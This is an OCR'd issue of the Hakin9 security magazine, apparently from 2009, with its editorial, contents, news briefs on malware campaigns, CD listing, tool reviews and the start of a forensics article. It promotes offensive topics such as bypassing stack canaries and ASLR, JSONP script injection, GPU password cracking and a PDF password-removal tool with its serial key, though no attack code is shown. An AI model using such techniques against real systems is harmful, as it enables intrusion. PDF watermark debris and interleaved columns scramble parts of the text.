You are on page 1of 84

h a n g e Vi h a n g e Vi

XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
Discover what you can do ...
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

I
t is an amazing thing that when we start looking for new challenges or ideas, it turns
out that they are really hard to find. It seems that they are hidden out of sight and
at times are really hard to perceive. I would imagine you have been in a situation
where you wanted to – let’s say – hack some website or develop some new code; and
your mind was blank, and you had no idea of how to do it. I think that happens to each
and everyone of us, if not often then at least once.

I think that all of us want to avoid being stuck in such situations. We always want to
have fresh and new ideas of how to overcome obstacles and find solutions to all our
difficult and complicated tasks.

I think, the reason we reach this situation could be because of boredom, a repetitive
routine or just the lack of inspiration coming from an external stimulus – something
new and different. Sometimes, it seems that most techniques used are old and useless;
but it is not true. New ideas exist and you need to be made aware of them to finally
use them – constructively or creatively. We want to show you what has been perhaps
hidden so far from you.

I hope that our magazine achieves in helping and supporting you with your daily
tasks. We always aim at providing the most up to date issue by presenting modern
hacking techniques often required and sought out by everyone in the respected areas.

In this issue our lead article on Hacking ASLR and Stack Canaries on Modern Linux
(p. 20) looks at overcoming stack canaries on Linux systems which should prove to be
quite appealing to the advocates of stack canaries in operating systems, as the author
details a proof of concept that bypasses the protection mechanism.

On the other hand we have solutions related to computer forensics which can be
discovered by reading the next two articles on page 12 entitled Windows Timeline
Analysis written by Harlan Carvey, the first part of a three-part series, and on page 38
the article entitled My ERP Got Hacked by Ismael Valenzuela. The article by Valenzuela
is the second part of his article presenting a practical explanation and hot tips on how
to investigate and analyze the digital evidence found during the course of a computer
forensics investigation. As we all know, computer forensics is a very interesting field
and I think that you will enjoy the articles on this subject.

For all of you who want to hack at passwords and learn how to do so can read the
article on brute-forcing passwords on page 46 (First Password Shooters written by Tam
Hanna).

If you are a fan of Java and Javascript (not really Java) then you need to read
the related articles. The first one is a really interesting article on how to hack JSONP
mashup entitled Mashup Security written by Antonio Fanelli and the second one is
RSA & AES in Java written by Michael Schratt. Staying up to date and secure with
Web 2.0 and what drives it is always important on what the Internet has evolved to and
the second article will be interesting for all of you who want to know more about the
encryption and decryption of files and any issues you may come across.

In this Hakin9 issue you will find 8 articles. I think that this issue of the Hakin9
magazine will give you some good feedback and fresh ideas in various areas.
Moreover, if you have any ideas for topics that you would like to see us cover in up
coming issues, please let us know. So keep the mails coming in!
Kind Regards
Hakin9 team
en@hakin9.org.
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w

CONTENTS
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

Editor in Chief: Ewa Dudzic


team BASICS
12 Windows Timeline Analysis
ewa.dudzic@hakin9.org
Executive Editor: Monika Świątek
monika.swiatek@hakin9.org
HARLAN CARVEY
Editorial Advisory Board: Matt Jonkman, Rebecca Timeline analysis has long been used in a number of disciplines in
Wynn, Rishi Narang, Shyaam Sundhar, Terron Williams,
Steve Lape, Peter Giannoulis, Aditya K Sood, Donald order to place a series of categorized events within an understandable,
Iverson, Flemming Laugaard, Nick Baronian, Tyler Hudak
progressive context. This can be very important and telling during computer
DTP: Ireneusz Pogroszewski, Przemysław Banasiewicz, forensic examinations, as events can be ordered in time and be used to
Art Director: Agnieszka Marchocka
agnieszka.marchocka@hakin9.org illustrate a progression, or a cluster, of activity. Harlan shows you basic
Cover’s graphic: Łukasz Pabian
information about timeline analysis as well as the new information in order
to update and advance the use of timeline analysis in computer forensic
CD: Rafał Kwaśny
rafal.kwasny@gmail.com examinations.
Proofreaders: Konstantinos Xynos, Ed Werzyn, Neil
Smith, Steve Lape, Michael Munt, Monroe Dowling, Kevin
Mcdonald, John Hunter, Michael Paydo, Kosta Cipo, Lou 16 Analyzing Malware – Introduction to
Rabom, James Broad
Top Betatesters: Joshua Morin, Michele Orru, Clint
Advanced Topics
Garrison, Shon Robinson, Brandon Dixon, Justin Seitz, JASON CARPENTER
Matthew Sabin, Stephen Argent, Aidan Carty, Rodrigo Rubira
Branco, Jason Carpenter, Martin Jenco, Sanjay Bhalerao, Avi In the final part of this series in analyzing malware, Jason tells you a little
Benchimol, Rishi Narang, Jim Halfpenny, Graham Hili, Daniel about more advanced topics such as polymorphic and metamorphic code,
Bright, Conor Quigley, Francisco Jesús Gómez Rodríguez,
Julián Estévez, Chris Gates, Chris Griffin, Alejandro Baena, as well as hiding in ADS. This will be a brief introduction to these topics to
Michael Sconzo, Laszlo Acs, Benjamin Aboagye, Bob
Folden, Cloud Strife, Marc-Andre Meloche, Robert White, familiarize you with them, so you can recognize them in the wild. At the end
Sanjay Bhalerao, Sasha Hess, Kurt Skowronek, Bob Monroe, there will be references to get more information on these topics.
Michael Holtman, Pete LeMay

ATTACK
Special Thanks to the Beta testers and Proofreaders who
helped us with this issue. Without their assistance there
would not be a Hakin9 magazine.

Senior Consultant/Publisher: Paweł Marciniak


CEO: Ewa Łozowicka
ewa.lozowicka@software.com.pl
Production Director: Andrzej Kuca 20 Hacking ASLR & Stack Canaries
andrzej.kuca@hakin9.org
Marketing Director: Ewa Dudzic on Modern Linux
ewa.dudzic@hakin9.org STEPHEN SIMS
Circulation Manager: Ilona Lepieszka
ilona.lepieszka@hakin9.org These methods have been privately known and publicly disclosed by
Subscription:
Stephen and multiple other researchers over the years, but not in great
Email: subscription_support@hakin9.org detail. The methodology attempts to demonstrate examples of modern
Publisher: Software Press Sp. z o.o. SK hacking techniques during conditional exploitation. In this article, Stephen
02-682 Warszawa, ul. Bokserska 1
Phone: 1 917 338 3631
will demonstrate methods used to hack stack canaries and Address Space
www.hakin9.org/en Layout Randomization (ASLR) on modern Linux kernels running the PaX
Print: ArtDruk www.artdruk.com patch and newer versions of GCC.
Distributed in the USA by: Source Interlink Fulfillment
Division, 27500 Riverview Centre Boulevard, Suite 400,
Bonita Springs, FL 34134, Tel: 239-949-4450. 30 Mashup Security
Distributed in Australia by: Gordon and Gotch, Australia ANTONIO FANELLI
Pty Ltd., Level 2, 9 Roadborough Road, Locked Bag 527,
NSW 2086 Sydney, Australia, Phone: + 61 2 9972 8800, Mashups will have a significant role in the future of Web 2.0, thanks to one
of the most recent data interchange techniques: JSON. Antonio describes
Whilst every effort has been made to ensure the high quality
of the magazine, the editors make no warranty, express or JSON data interchange format and he also presents JSONP technique for
implied, concerning the results of content usage.
All trade marks presented in the magazine were used only mashups as well as shows you how to inject JavaScript with JSONP.
for informative purposes.
All rights to trade marks presented in the magazine are
reserved by the companies which own them. 38 My ERP Got Hacked – An Introduction to
Computer Forensics, Part II
To create graphs and diagrams
we used program by
ISMAEL VALENZUELA
Cover-mount CD’s were tested with AntiVirenKit
by G DATA Software Sp. z o.o Part II of this article continues illustrating in practice the methods,
The editors use automatic DTP system
Mathematical formulas created by Design Science
techniques and tools used to investigate and analyze the digital evidence
MathType™ found during the course of a computer forensic investigation. You are finally
ATTENTION! getting closer to know if there was any unauthorized access to the Web-
Selling current or past issues of this magazine for
prices that are different than printed on the cover is based Enterprise Resource Planning (ERP) server. Ismael, in his article, will
– without permission of the publisher – harmful activity
and will result in judicial liability. illustrate how to investigate security breaches and analyze data without
DISCLAIMER! modifying it, how to create event timelines and how to recover data from
The techniques described in our articles may only be
used in private, local networks. The editors hold no unallocated space and how to extract evidence from the registry and how
responsibility for misuse of the presented techniques
or consequent data loss. to parse windows event logs.

4 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
CONTENTS
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

46 First Password Shooters


TAM HANNA
The core difference between Central Processing Units (CPU’s) and
Graphics Processing Unit (GPU’s) is in the name: while the first is a
REGULARS
CENTRAL processing unit, the latter ones go by the nickname GRAPHICAL 06 In brief
processing unit. Many graphical tasks can be parallelized well and consist Selection of short articles from the IT
of simple operations; all current architectures are designed for performing security world.
hundreds of very simple tasks at the same time rather than having one or Armando Romeo &
two cores which can do everything reasonably well. Tam shows you how to www.hackerscenter.com
crack passwords for fun and profit.
ID Theft Protect

DEFENSE 08 ON THE CD
What's new on the latest hakin9.live CD.
hakin9 team
52 RSA & AES in JAVA
MICHAEL SCHRATT 10 Tools
Cryptography is used for hiding information. The term cryptography Wireshark
itself represents several algorithms like Symmetric-key cryptography, Mike Shaffer
Asymmetric-key cryptography (also called Public-key cryptography), but History Killer Pro 3.2.1
also Cryptosystems and Cryptanalysis. Today, Michael introduces to you Michael Munt
cryptographic functions written in JAVA, specifically RSA & AES. For those
of you who do not know RSA and AES, he covered some of the better
descriptions in the link section at the end of the article.
64 ID fraud expert says...
The Underworld of CVV Dumping,
Carding and the Effects on Individuals
58 AV Scanner 101 and Business and Ways to Prevent it
RYAN HICKS
Julian Evans
Over the past two decades antivirus technology has evolved considerably.
The changing nature of threats has driven research and development
in order to combat the flood of new malware. While there are different 70 Training Review
approaches to scanning technology, certainly different vendors make VTE Training
distinct architectural and implementation decisions, there are certain James Broad
commonalities that are present in most modern antivirus scanners. Ryan
gives you an overview of the history of scanning technology, a description of 72 Emerging Threats
the most common techniques, and illustrate potential future developments. It's All About Reputation
Matthew Jonkman

74 Interview
An interview with Andrey Belenko
Ewa Dudzic

76 Interview
An interview with Ilya Rabinovich
Ewa Dudzic

78 Interview
An interview with Alexandre Dulaunoy &
Fred Arbogast
Ewa Dudzic

82 Upcoming
Topics that will be brought up in the
upcoming issue of Hakin9
Code Listings Ewa Dudzic
As it might be hard for you to use the code listings printed in the magazine, we decided
to make your work with Hakin9 much easier. We place the complex code listings from the
articles on the Hakin9 website (http://www.hakin9.org/en).

5/2009 HAKIN9 5
IN BRIEF
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

started circulating since the very early


BROWSE AND GET OWNED GOOGLE STILL FIXING CHROME hours following the sad news.
– DIRECTSHOW VULNERABILITY A year has gone since the release of Michael.Jackson.videos.scr and other
A remote code execution vulnerability in Google Chrome. You all remember the similar infected media files are actually
the way Microsoft DirectShow handles unlucky beta release that counted million trojan horses, downloaders, adwares and
supported QuickTime format files has downloads within few days as well as 3 similar spyware software.
been utilized by hackers to perform a remote code execution vulnerabilities at Fake websites have appeared, inducing
dangerous, although small-scale, browse the same time. visitors to enter their personal information in
and get owned attack. Google Chrome, now a mature order to get the albums from the singer.
The attacker could construct a software, with the fastest Javascript engine Although Youtube and Google have
malicious webpage which uses the available, still enjoys the attention of security taken their countermeasures to mitigate
media playback plug-ins to playback researchers who happen to find buffer the propagation of such activities, one
a malicious QuickTime file to reach overflows that more often than not lead to can guess that spammers are having
the vulnerability in quartz.dll. This type remote code execution exploits in the wild. good success rates in their campaigns.
of attack is browser independent as it The latest, already patched, involves Law of large numbers, strong feelings and
address a plugin that any browser could a severe flaw in how the browser handles impulsive call to actions are the keys to
use. crafted responses from HTTP web success for these unscropolous people.
The malformed media files, servers.
according to Microsoft Security A cumulative patch has been
Response Center, were responsible released in the Summer to fix two other KEVIN MITNICK SITE DEFACED,
for the download of trojan horses issues affecting Webkit application AGAIN
collecting victim's information and framework. Good old Kevin, is the hackers number
redirecting it to hackers controlled A statistic published on Microsoft one target. For his fame and for the press
servers. PressPass, based on a survey of 2,385 that a successful hacking attack to his
The vulnerability doesn't affect U.S. adults Internet users, demonstrated site undobiuosly brings everytime. This
Windows 2008 nor Windows Vista, where that 62 percent of interviewed are more time Kevin is not to blame though. The
the quartz.dll, DirectShow library, has likely to choose a browser with a high attack was just another DNS Redirect
been removed. level of security built in and some ability to attack occurred on one of his website
customize security and privacy settings. Hosting premises. Hostedhere DNS
The question here is: Are they aware cluster was indeed compromised (again)
FTP LOGIN DATA of browser built-in vulnerabilites when and the records for kevinmitnick.com and
TARGETED BY TROJANS choosing Internet browser? mitnicksecurity.com were rewritten to point
Jacques Erasmus, CTO at Prevx, an to hackers controlled servers. Servers
internet security vendor headquartered in hosting the defacement page, with
the U.K., discovered a site where a trojan SPAMMERS EXPLOITING DEATH pornograpic pictures, in which the main
is uploading FTP login credentials from OF JACKO character was Kevin himself.
more than 74,000 websites. Death of King of Pop left millions of Not nice. Kevin has therefore
Among the affected FTP login data fans in tears. Televisions and radios are decided to part from Hostedhere to find
are major corporations including Bank of transmitting Michael Jackson albums a more security-aware hosting service
America, BBC, Amazon, Symantec and non-stop and Youtube has been flooded capable of facing the threat of having
McAfee. by millions of visitors willing to watch his such a prominent target for the hacker
The trojan, a variant of Zbot, main legendary videos. So why not exploit community. Who wants to host Kevin now?
purpose is to harvest stored FTP login people feelings to mount a large scale
credentials to send them to servers spamming campaign to tap Internet
located in China. users into opening phishing emails? BRITAIN HIRING HACKERS TO
According to Erasmus, the final 750 million albums sold is a big number FIGHT CYBERCRIME
purpose of this attack is to get access and spammers know the law of large UK minister of Home Security, Lord
to websites source codes injecting evil numbers better than anyone else. West, has attracted the criticisms
Iframe that would spread the malware The plot theories, very common when of the security community after the
further. talking about legends, have helped a lot announcement of recruting former
The Zbot trojan has been in use for as well. hackers to fight cybercrime in the new
some time to carry on different types of Emails claiming to bring to Cyber Security Operations Centre.
illegal and also remunerative activities: confidential information regarding the You need youngsters who are deep
installing spyware and adwares and death of Michael Jackson or to the into this stuff… If they have been slightly
phishing emails mainly. download of unreleased albums have naughty boys, very often they really

6 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
IN BRIEF
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

enjoy stopping other naughty boys, he by-downloading the malicious malware to The simple solution here is for
said. Not an original idea anyway. users PC’s. Windows Explorer to show the full
The problem with all this is that, as he In response to this threat, Google has extension. We are sure Microsoft will fix
stated, they avoided to employ ultra, ultra begun de-listing servers that had been this vulnerability in the next release.
criminals. While so called elite hackers infected with the script. However the hackers
are the ones who do not get caught, were very smart and responded by issuing Source: ID Theft Protect
the choice of giving such a prominent a more complex, sophisticated script
job to script kiddies instead of security that was obfuscated to avoid detection.
professionals fighting cybercrime in the The script pointed to the gumblar.cn FAKE URLS LEAD TO MALWARE
trenches since years, has raised a wave domain, which delivers malware that takes Recent research from a leading security
of arguments and controversies. advantages of unpatched Adobe PDF company suggests that criminals are
Reader (see below) and Flash application. using search engines as a method of
ID Theft Protect suggests you disable adding infected URLs in popular websites
HIGH SCHOOL PROGRAMMING JavaScript in Adobe PDF Reader. This will such as Facebook, MySpace and Twitter.
LEAGUE – NEXT EDITION not affect opening and closing of PDF These fake URLs (domains) are in no
The High School Programming League documents. way connected to these popular websites.
contest is intended for students of Here is how you disable JavaScript In fact they attempt to trick users into
high schools (or schools educating on Adobe PDF Reader: for example entering usernames and
at a similar or lower level). We have passwords or try to download malicious
carefully prepared a problem set to suit • Launch Acrobat or Adobe Reader. software onto your PC.
participants at all skill levels, including • Select Edit >Preferences The most common fake website
beginners. If you are familiar with • Select the JavaScript Category is Facebook, Surprise, surprise! Over
online judge systems like SPOJ http:// • Uncheck the Enable Acrobat 200,000 fake Facebook URLs have been
www.spoj.pl, you will have a general idea JavaScript option found when doing a search in Google.
of the sort of problems to expect, but • Click OK This isn’t a new problem. However, it is
there will also be a few nice surprises. a growing problem for those that do not
Each problem set is slightly different. Source: ID Theft Protect understand that a link in Google may not
We recommend C++ or Java. There are be legitimate.
also other available languages, such
as PHP, Perl, Python, Ruby, Pascal, and WINDOWS 7 EXTENSION FILE Source: ID Theft Protect
others. The complete list of languages SECURITY ISSUE IDENTIFIED
and compilers is available when Windows 7 Release Candidate (RC) looks
submitting http://hs.spoj.pl/submit/ a like it will continue Microsoft’s trend of HACKER HALTED USA
solution. putting users at risk. CONFERENCE
http://hs.spoj.pl/embed/info/ The Windows 7 operating system’s Hacker Halted USA Conference to Offer
Windows Explorer file manager appears Complimentary Security Training worth
to mislead users about the true extension $599 to All Delegates Unique opportunity
GUMBLAR AND JSREDIR-R of a file. It doesn’t show the full extension for attendees of information security
INSTALLS MALWARE ON A PC for a filename and hides the extension conference in Miami to attend specially
The latest malicious malware circulating file type. This flaw would allow hackers designed one-day training workshops
in the wild is now so clever it is altering to establish malware by using those file covering some of the most popular
Google searches. Gumblar and JSRedir- types’ extensions and icons. security topics. Attendees of Hacker Halted
R installs malware on a PC and locally Windows Explorer, for example, will USA 2009, a world-class information
modifies Google search results, replacing show the .txt icon and display 'attack.txt' security conference to be hosted in Miami,
legitimate results with links to affiliates’ as the filename for a Trojan horse that's Florida, from September 23 – 25, will be
pages. actually been named attack.txt.exe by the entitled to attend one of three security
This is similar to rogueware (fake hacker. The practice goes back to at least workshops led by EC-Council Master
anti-virus software) which modified some Windows NT, and has been criticised Instructors. These one-day workshops will
search results (i.e. if you searched for anti- in the still-popular Windows XP and the cover three of the most popular security
virus and clicked on the link to say AVG it newer Windows Vista. topics, namely Identifying Threats and
would redirect you to a fake AVG page). Users normally look at an icon to Deploying Countermeasures; Principles
Security experts have identified that determine the file type, so you can see of Incident Handling; and Exposing
the delivery platform originates from a why this is a flaw. Not being able to see Virtualization Security Threats.
Latvian IP address. A script was installed the full extension will increase the chances
on hacked legitimate websites for drive- of malicious files executing on a PC. http://www.hackerhalted.com

5/2009 HAKIN9 7
HAKIN9.LIVE
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

ON THE CD
BackTrack is the most top rated Linux live distribution focused on penetration
testing. With no installation, whatsoever, the analysis platform is started directly
from the CD-Rom and is fully accessible within minutes.

A
s always we provide you with SBMAV DISK CLEANER of the batch component of our product
commercial applications. You will Advanced hard disk cleaner for Windows PyroTrans, which can be installed and
find the following programs in Apps that can safely clean your disk! It is run independent from the PyroTrans
directory on the Hakin9 CD. designed to clean a hard drive of various packet. (PyroTrans is a file transfer packet
informational trash having no importance, consisting client/server/batch for file
ACROBAT KEY which simply clutters the disks. transfer over phone lines and network/
Acrobat Key (Passware Kit Standard A powerful tool for cleaning cobwebs internet).
module) instantly removes restrictions of useless information clogging your PyroBatchFTP allows users and
on copying, printing and other actions for system and reducing its performance, software developers to perform
PDF files. It also recovers document open SBMAV Disk Cleaner searches for automated file transfers. This is done by
passwords. Features: and deletes temporary files and writing scripts for PyroBatchFTP, which
folders created by Windows and other will transmit files to and from other
• All versions through Adobe Acrobat applications, as well as searches for computers which run a standard ftp
9.0 are supported. invalid links to documents that have long server.
• Recovers user password required to since been deleted. SBMAV Disk Cleaner PyroBatchFTP features a script
open the file. also finds useless uninstall software, language, DDE interface and logging
• Decrypts PDF files protected with deletes cookies, and searches for and functions, which allow other software to
owner passwords. removes duplicate files. determine the success and flow of each
• Instantly removes restrictions on SBMAV Disk Cleaner 2009 is a of the script commands.
copying, printing and other actions one-stop suite with over 6 tools to do
with the file. a thorough cleanup. In just one click, PyroBatchFTP Features
• Fast password recovery engine for you can find and remove the clogging
Acrobat 9.0 files - up to 1,300,000 junk out of Windows and applications, • Automated scripting support for
passwords checked per second on a uninstall unnecessary programs, remove access to internet FTP servers
P-IV system. duplicate files, delete cookies, disable • Support for SSH based SFTP
• To recover user passwords, 8 different auto-loaders that slow down system servers with username/password
attack types (and any combination of startup and much more. The tools are authentification
them) could be set up using a wizard delivered in a nice-looking interface, • Transmission of whole directory trees
or drag & drop attacks editor. which requires no learning as it’s totally • Synchronisation of directories and
• Supports password modifications, intuitive for beginners. directory trees
including case changes, reversed • Built in cron-like scheduler
words, etc. • Installation: Unzip and run the • Can be run as a Window NT4/XP/
• Program automatically saves program setup.exe. Follow its 2000 service
password search state and can instructions. • Retry operation for failed commands
resume after a stop or a crash. • System Requirement: Windows95/98/ • Interface to execute FTP commands
• Combines attacks for passwords like NT/2000/ME/XP/Vista from VB or C++ applications
strong123password. • Automatic logging
• All recovered passwords are saved Price: $14.99 • Runs on Windows 9x/ME/NT4/2000/
and ready to be reused on other files. http://www.sbmav.com/ 2003/2008/XP/Vista
• Uninstall program
Serial number: WLVXK-XSFAL-MZASY- PYROBATCHFTP 2.22
D3FMC-XZGB3H PyroBatchFTP is a FTP (Internet File
Price: $39.00 Transfer Protocol) and SFTP (SSH secure Price: $39.00
http://www.lostpassword.com/acrobat.htm file transfer protocol) enabled version http://www.sbmav.com/

8 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

IF THE CD CONTENTS CAN’T BE ACCESSED AND THE


DISC ISN’T PHYSICALLY DAMAGED, TRY TO RUN IT ON AT
LEAST TWO CD DRIVES.
IF YOU HAVE EXPERIENCED ANY PROBLEMS WITH THE CD, E-MAIL:
CD@HAKIN9.ORG
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
TOOLS O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

Wireshark
As an essential element of the and show the results in the packet list pane that
toolkit of any network professional, is part of the main window. On a busy network
Wireshark provides the tools to this will quickly fill with all the network noise
capture and analyze network traffic including routing protocols, spanning-tree from
or to perform analysis on network captures switches and arp requests. Somewhere amidst
provided by tools such as tcpdump, tshark, the turmoil are the packets you're looking for.
EtherPeak and a wide range of others. Wireshark thoughtfully provides two primary
Quick Start . As an independent IT methods to save filling your hard drive and
consultant to small businesses and similar drawing down your patience in analyzing all
organizations I've been using Wireshark and that network noise. On the front end the analyst
it's fore-runner Ethereal since around 2001 and can deploy capture filters that as the name
consider it the most important tool in my kit for would imply limit what packets Wireshark
resolving networking issues. actually brings up from the NIC and includes
A simple example is a government customer in the capture archive. If for example you know
with a staff of about 12 on a small LAN had you have no interest in all that chatty spanning-
a new big-brand-name combination copier, tree traffic between switches you can deploy
printer and scanner installed. The day after the a capture filter to tell Wireshark to ignore those
installation the manager sends me an email packets. This provides several benefits in that
saying that when I had a chance to check out your capture data set will be reduced making
the network as it was definitely acting just a tad analysis much quicker and efficient and the
more sluggish. A 60 second capture set with saved captures will make for smaller files.
System: Multi-Platform: Wireshark showed that the network was not Even with a good set of capture filters in place
Windows, Linux, BSD, only busily handling its normal load of TCP/IP a busy network will generate a lot of packets
Solaris... traffic but was awash in both AppleTalk and IPX/ so how do we, as network analysts, save our
License: GNU General SPX. Seeing how we had neither any Macs or patience and find specific packets or groups of
Public License Netware servers on the network inquiring minds packets. Enter the second powerful feature; that
Purpose: Network wanted to know the source of this bothersome of using display filters. Whereas capture filters
Protocol Analyzer gibberish. A quick analysis of the packets actually limit what packet types will be included
Homepage: revealed the offending traffic all originating in the capture set, the display filter only controls
www.wireshark.org from the IP assigned to the new multifunction what is shown in the packet list pane. The actual
machine. A short walk through the network capture set isn't altered and remains intact. For
settings dialog screens for the multifunction example let's say that in my haste I didn't filter out
box showed that the tech had simply left the the spanning-tree traffic and now my 15 minute
defaults on which where to use IPv4, AppleTalk capture set has some critical packets all of which
and IPX/SPX. Two quick taps to disable the latter are somewhere in that sea of STP dribbling down
two and Wireshark showed the network no the page causing my vision to blur. Relief is as
longer bothered by unnecessary traffic and the close as typing !(stp) in the Filter : box and clicking
performance slightly improved. apply. The packet list pane will now show all traffic
After installing Wireshark you're ready to that was captured except for spanning-tree.
do your first packet captures. So let's go. The Useful Features. Wireshark provides an
easiest method is to use the main toolbar excellent set of tools to analyze the packet
(the set of icons directly below the text menu capture set the discussion of which is too
headings) and left-click on the left-most icon that lengthy for an introductory article. I would note
looks like NIC with a small white list box on it. that it's well worth the efforts to spend some
This will open the Capture interfaces dialog box time working through the options provided as
which will show the interfaces that Wireshark is a wealth of information can be drawn from
recognizing, a description, the IP, and a column the capture set that can be instrumental in
showing packet activity for each. To begin resolving a myriad of network issues including
capturing packets just left-click on the start performance and security.
button for the interface you want. Wireshark will
now begin capturing packets for that interface by Mike Shaffer

10 HAKIN9 5/2009
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
TOOLS
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

History Killer Pro 3.2.1


History Killer Pro is being marketed Once you start to use the program it
as a complete professional solution becomes apparent that a lot of thought has gone
for many privacy issues. It has the into trying to remove all the entries that a user
following features: Search function – users are leaves behind every time they use a computer.
able to search after a scan of their PC and The targets (that’s what History Killer Pro
selectively remove data for particular items, like calls the entries that need removing) are
a certain website for example; locked Index.dat grouped under relevant sectional headings.
parsing – users are able to make necessary
changes in it without reboot; file system • Windows System
recognition of Recycle Bin – you are able to • Internet Explorer
browse your Recycle Bin including folders and • Firefox
sub-folders, files, size, type, date modified and • Windows Accessories
selectively pick which you would like deleted • Microsoft Office Common Files
permanently; selective removal of items and • Microsoft Office 2007
sub-items – all items scanned via the program • Microsoft Office 2003
are wholly visible and can be deleted selectively
(folders, sub-folders, files, etc). By clicking on each of these headings it will
Quick Start. This was very straight forward reveal further details of what will actually be
and easy to install with a single exe file, but scanned. It is very granular, allowing the user to
bizarrely it isn’t installed to the usual c:\ pick and choose what they wish to be removed
program files location on my machine instead from each category. System: CPU 300 Mhz or
it defaulted to C:\Documents and Settings\ This product isn’t clever enough to realise higher, RAM 128 MB, HDD
username\Application Data\. what programs you don’t actually have installed 5 MB, OS Windows Vista,
The front main screen is crisp, clean, sensibly and it will allow you to pick both Microsoft Office XP Internet Explorer 6.0 or
laid out and very easy to read. From the outset it versions if you wish to do so. As it goes through higher
was apparent that this wasn’t a tool for the usual a scan, you see it working through each option Lifetime licence $49.95
home user, it was definitely aimed at the more that you have selected with the results listed Developed by: Emergency
technically savvy user. This observation was due underneath each of them. You can then click on Soft
to the fact there was no apparent help file or each of the settings to see in complete detail Homepage: http://www.hi
directions on how to actually use the program. what has been found (Figure 1). You are then able storykillerpro.com/
I had to go find the help file myself that was to manually remove entries that have been found
located in the programs installation directory. if you feel that you need to have them.
(Not that I read it though). On the program’s Once you have everything selected to your
website, there are 5 basic tutorials on how to use satisfaction, you can either choose to Kill from
the program; it would have been good to have each section one at a time, or you can select
a link to these from the program itself, instead of the Kill Targets button from the main screen.
forcing the user to go find them on their own. That’s it, those entries are gone.
Useful Features. Overall I am impressed
with History Killer Pro, with its layout, and ability
to be totally selective in what I remove from my
machine. I do have one major gripe though,
when trying to setup exclusions from the list, it
is not very clear on how detailed you need to
be for the exclusion to work, or what you could
actually exclude.
This product has the makings of being able
to take on the well established similar products
in the market, and I look forward to seeing how
it progresses.

by Michael Munt
Figure 1. History Killer Pro
5/2009 HAKIN9 11
BASICS
h a n g e Vi h a n g e Vi
XC e XC e
F- w F- w
PD

PD
er

er
!

!
W

W
O

O
N

N
y

y
bu

bu
to

to
k

k
lic

lic
C

C
w

w
m

m
w w
w

w
o

o
.d o .c .d o .c
c u -tr a c k c u -tr a c k

Windows
HARLAN CARVEY

Timeline
Difficulty
Analysis
The increase in sophistication of the Microsoft (MS) Windows
family of operating systems (Windows 2000, XP, 2003, Vista,
2008, and Windows 7) as well as that of cybercrime has long
required a corresponding increase or upgrade in incident
response and computer forensic analysis techniques.

T
he traditional forensic timeline analysis a means for extracting file system metadata and
approach of extracting file modified, last consolidating a timeline of file system activity,
accessed, and creation times is proving while Rob Lee’s mac-daddy tool provides a simple
to be increasingly insufficient for the analysis means of sorting and visualizing the data. Michael
task at hand, particularly as other sources Cloppert’s work on ex-tip includes other sources
(files on a Windows system, logs from network of time stamped information from within an image
devices and packet captures, etc.) provide acquired from a Windows system, to include the
a wealth of information for generating more Registry hive files and antivirus (AV) application
complete timeline of activity. In addition, versions logs. However, there is much more data available
of the operating systems beyond Windows for timeline analysis from within an acquired
2003, as well as some MS applications (http: image that will provide a vastly greater level of
//support.microsoft.com/kb/961181) are no context and detail to the analyst. In addition,
longer recording file last accessed times by multiple sources of data (network traffic captures,
default, forcing analysts to seek other avenues to firewall and network device logs, multiple system
determine if a user accessed a file. images, etc.) can be incorporated into an overall
timeline, providing a much more granular level of
Introduction detail for analysis, visualization and reporting.
Timeline analysis has long been used in a
number of disciplines in order to place a series Advancing Timeline Analysis
of categorized events within an understandable, The basic idea behind timeline analysis is to take
WHAT YOU SHOULD
KNOW... progressive context. This can be very a series of events that occurred at specific times,
important and telling during computer forensic then sort and display them based on the event
Basic information regarding
computer forensic examinations examinations, as events can be ordered in time time stamps. Techniques for timeline generation
